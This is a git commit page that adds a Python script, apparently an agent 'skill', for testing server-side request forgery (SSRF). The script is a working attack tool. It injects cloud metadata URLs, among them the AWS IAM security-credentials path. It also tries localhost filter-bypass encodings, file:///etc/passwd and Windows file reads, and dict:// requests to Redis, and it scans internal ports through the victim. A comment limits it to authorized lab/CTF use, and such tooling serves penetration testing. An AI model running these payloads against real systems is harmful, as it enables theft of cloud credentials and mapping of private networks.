mirror of
https://github.com/mukul975/Anthropic-Cybersecurity-Skills.git
synced 2026-06-12 14:14:56 +03:00
Add folder anatomy (scripts/agent.py + references/api-reference.md) for 648 cybersecurity skills
Complete skill folder anatomy across all cybersecurity skills: - scripts/agent.py: 80-150 line Python agents using real libraries (impacket, boto3, azure-mgmt-*, kubernetes, pefile, yara, scapy, shodan, stix2, etc.) - references/api-reference.md: real API documentation with method signatures - LICENSE: MIT license for all skill folders
This commit is contained in:
@@ -0,0 +1,184 @@
|
||||
#!/usr/bin/env python3
|
||||
# For authorized testing in lab/CTF environments only
|
||||
"""SSRF vulnerability detection agent with cloud metadata and filter bypass testing."""
|
||||
|
||||
import argparse
|
||||
import json
|
||||
import logging
|
||||
import sys
|
||||
import urllib.parse
|
||||
from typing import List
|
||||
|
||||
try:
|
||||
import requests
|
||||
except ImportError:
|
||||
sys.exit("requests is required: pip install requests")
|
||||
|
||||
logging.basicConfig(level=logging.INFO, format="%(asctime)s [%(levelname)s] %(message)s")
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
CLOUD_METADATA = {
|
||||
"aws_imdsv1": "http://169.254.169.254/latest/meta-data/",
|
||||
"aws_iam": "http://169.254.169.254/latest/meta-data/iam/security-credentials/",
|
||||
"gcp": "http://metadata.google.internal/computeMetadata/v1/",
|
||||
"azure": "http://169.254.169.254/metadata/instance?api-version=2021-02-01",
|
||||
"digitalocean": "http://169.254.169.254/metadata/v1/",
|
||||
}
|
||||
|
||||
LOCALHOST_BYPASSES = [
|
||||
"http://127.0.0.1/", "http://0177.0.0.1/", "http://0x7f.0.0.1/",
|
||||
"http://2130706433/", "http://127.1/", "http://0/",
|
||||
"http://[::1]/", "http://0.0.0.0/", "http://127.0.0.1.nip.io/",
|
||||
]
|
||||
|
||||
PROTOCOL_PAYLOADS = [
|
||||
"file:///etc/passwd", "file:///c:/windows/win.ini",
|
||||
"dict://127.0.0.1:6379/info",
|
||||
]
|
||||
|
||||
|
||||
def test_ssrf_endpoint(target_url: str, param_name: str, payload_url: str,
|
||||
method: str = "POST", auth_header: str = "") -> dict:
|
||||
"""Send an SSRF payload to a target endpoint and analyze the response."""
|
||||
headers = {"Content-Type": "application/json"}
|
||||
if auth_header:
|
||||
headers["Authorization"] = auth_header
|
||||
|
||||
data = {param_name: payload_url}
|
||||
try:
|
||||
if method.upper() == "POST":
|
||||
resp = requests.post(target_url, json=data, headers=headers,
|
||||
timeout=10, verify=False)
|
||||
else:
|
||||
resp = requests.get(target_url, params=data, headers=headers,
|
||||
timeout=10, verify=False)
|
||||
return {
|
||||
"payload": payload_url,
|
||||
"status_code": resp.status_code,
|
||||
"content_length": len(resp.content),
|
||||
"response_preview": resp.text[:200],
|
||||
"success_indicators": _check_success(resp.text, payload_url),
|
||||
}
|
||||
except requests.RequestException as exc:
|
||||
return {"payload": payload_url, "error": str(exc)}
|
||||
|
||||
|
||||
def _check_success(response_text: str, payload: str) -> List[str]:
|
||||
"""Check response for indicators of successful SSRF."""
|
||||
indicators = []
|
||||
checks = {
|
||||
"aws_metadata": ["ami-id", "instance-id", "security-credentials", "iam"],
|
||||
"gcp_metadata": ["computeMetadata", "project-id", "service-accounts"],
|
||||
"azure_metadata": ["vmId", "subscriptionId", "resourceGroupName"],
|
||||
"local_file": ["root:", "/bin/bash", "[extensions]", "for 16-bit"],
|
||||
"internal_service": ["redis_version", "elasticsearch", "Jenkins"],
|
||||
}
|
||||
for name, keywords in checks.items():
|
||||
if any(kw.lower() in response_text.lower() for kw in keywords):
|
||||
indicators.append(name)
|
||||
return indicators
|
||||
|
||||
|
||||
def test_cloud_metadata(target_url: str, param_name: str,
|
||||
auth_header: str = "") -> List[dict]:
|
||||
"""Test SSRF against all cloud metadata endpoints."""
|
||||
results = []
|
||||
for provider, meta_url in CLOUD_METADATA.items():
|
||||
result = test_ssrf_endpoint(target_url, param_name, meta_url,
|
||||
auth_header=auth_header)
|
||||
result["cloud_provider"] = provider
|
||||
results.append(result)
|
||||
if result.get("success_indicators"):
|
||||
logger.warning("SSRF to %s: indicators=%s", provider, result["success_indicators"])
|
||||
return results
|
||||
|
||||
|
||||
def test_localhost_bypasses(target_url: str, param_name: str,
|
||||
auth_header: str = "") -> List[dict]:
|
||||
"""Test localhost SSRF filter bypasses."""
|
||||
results = []
|
||||
for bypass in LOCALHOST_BYPASSES:
|
||||
result = test_ssrf_endpoint(target_url, param_name, bypass,
|
||||
auth_header=auth_header)
|
||||
result["bypass_type"] = "localhost_encoding"
|
||||
results.append(result)
|
||||
return results
|
||||
|
||||
|
||||
def test_protocol_schemes(target_url: str, param_name: str,
|
||||
auth_header: str = "") -> List[dict]:
|
||||
"""Test non-HTTP protocol schemes (file://, dict://, gopher://)."""
|
||||
results = []
|
||||
for payload in PROTOCOL_PAYLOADS:
|
||||
result = test_ssrf_endpoint(target_url, param_name, payload,
|
||||
auth_header=auth_header)
|
||||
result["protocol"] = payload.split(":")[0]
|
||||
results.append(result)
|
||||
return results
|
||||
|
||||
|
||||
def scan_internal_ports(target_url: str, param_name: str, internal_ip: str,
|
||||
ports: List[int], auth_header: str = "") -> List[dict]:
|
||||
"""Scan internal ports via SSRF to discover services."""
|
||||
results = []
|
||||
for port in ports:
|
||||
payload = f"http://{internal_ip}:{port}/"
|
||||
result = test_ssrf_endpoint(target_url, param_name, payload,
|
||||
auth_header=auth_header)
|
||||
result["internal_ip"] = internal_ip
|
||||
result["port"] = port
|
||||
is_open = (result.get("status_code") == 200 and
|
||||
result.get("content_length", 0) > 0 and
|
||||
not result.get("error"))
|
||||
result["port_likely_open"] = is_open
|
||||
results.append(result)
|
||||
return results
|
||||
|
||||
|
||||
def run_assessment(target_url: str, param_name: str, auth_header: str = "") -> dict:
|
||||
"""Run complete SSRF assessment."""
|
||||
cloud = test_cloud_metadata(target_url, param_name, auth_header)
|
||||
bypasses = test_localhost_bypasses(target_url, param_name, auth_header)
|
||||
protocols = test_protocol_schemes(target_url, param_name, auth_header)
|
||||
ports = scan_internal_ports(target_url, param_name, "127.0.0.1",
|
||||
[22, 80, 443, 3306, 5432, 6379, 8080, 9200], auth_header)
|
||||
|
||||
findings = []
|
||||
cloud_hits = [c for c in cloud if c.get("success_indicators")]
|
||||
if cloud_hits:
|
||||
findings.append(f"CRITICAL: Cloud metadata accessible via {len(cloud_hits)} endpoints")
|
||||
bypass_hits = [b for b in bypasses if b.get("status_code") == 200 and b.get("content_length", 0) > 50]
|
||||
if bypass_hits:
|
||||
findings.append(f"HIGH: {len(bypass_hits)} localhost filter bypass(es) successful")
|
||||
protocol_hits = [p for p in protocols if p.get("success_indicators")]
|
||||
if protocol_hits:
|
||||
findings.append(f"HIGH: Non-HTTP protocols accepted ({', '.join(p['protocol'] for p in protocol_hits)})")
|
||||
|
||||
return {
|
||||
"target": target_url,
|
||||
"parameter": param_name,
|
||||
"cloud_metadata_tests": cloud,
|
||||
"localhost_bypasses": bypasses,
|
||||
"protocol_tests": protocols,
|
||||
"internal_port_scan": ports,
|
||||
"findings": findings,
|
||||
}
|
||||
|
||||
|
||||
def main():
|
||||
parser = argparse.ArgumentParser(description="SSRF Vulnerability Assessment Agent")
|
||||
parser.add_argument("--url", required=True, help="Target URL with SSRF-prone endpoint")
|
||||
parser.add_argument("--param", default="url", help="Parameter name accepting URLs")
|
||||
parser.add_argument("--auth", default="", help="Authorization header value")
|
||||
parser.add_argument("--output", default="ssrf_report.json")
|
||||
args = parser.parse_args()
|
||||
|
||||
report = run_assessment(args.url, args.param, args.auth)
|
||||
with open(args.output, "w") as f:
|
||||
json.dump(report, f, indent=2)
|
||||
logger.info("Report saved to %s", args.output)
|
||||
print(json.dumps(report, indent=2))
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
Reference in New Issue
Block a user